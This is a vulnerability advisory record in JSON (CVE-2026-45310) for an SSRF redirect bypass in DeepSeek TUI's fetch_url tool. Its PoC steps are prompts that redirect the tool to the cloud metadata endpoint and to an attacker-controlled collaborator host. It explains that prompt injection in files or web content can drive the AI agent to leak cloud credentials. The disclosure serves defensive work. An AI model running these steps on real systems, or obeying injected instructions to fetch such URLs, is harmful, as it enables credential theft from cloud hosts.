{"id":"GHSA-96ff-gc8g-wpvg","revision":"cec26070fc114e339ac572a514dfb8bf","records":[{"revision":"cec26070fc114e339ac572a514dfb8bf","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-96ff-gc8g-wpvg","aliases":["CVE-2026-45310"],"title":"DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool","description":"### Summary\nThe `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.\n\n### PoC\n**Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.\n```\nPrompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/\nExpected: Error — \"restricted address (private/loopback/link-local)\"\n```\n\n**Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302\n```\n\n**Expected result:** The error message says \"connection refused\" or \"request failed: connect error\" — NOT \"restricted address.\" This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.\n\n**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.\n\n**Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302\nExpected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.\n```\n\n### Impact\nOn cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.","state":0,"publishedAt":"2026-05-14T20:29:26+00:00","modifiedAt":"2026-06-09T10:30:15.9396841+00:00","affected":[{"ecosystem":"crates.io","name":"deepseek-tui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.8.22"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"deepseek-tui-cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.8.22"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"deepseek-tui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.8.22"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-96ff-gc8g-wpvg","https://github.com/Hmbown/DeepSeek-TUI/security/advisories/GHSA-96ff-gc8g-wpvg","https://nvd.nist.gov/vuln/detail/CVE-2026-45310","https://github.com/Hmbown/DeepSeek-TUI","https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22"],"sourceUrl":"https://github.com/advisories/GHSA-96ff-gc8g-wpvg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-96ff-gc8g-wpvg","identifiers":["GHSA-96ff-gc8g-wpvg","CVE-2026-45310"]},"retained":false,"historicalAffected":[]}],"coverage":[]}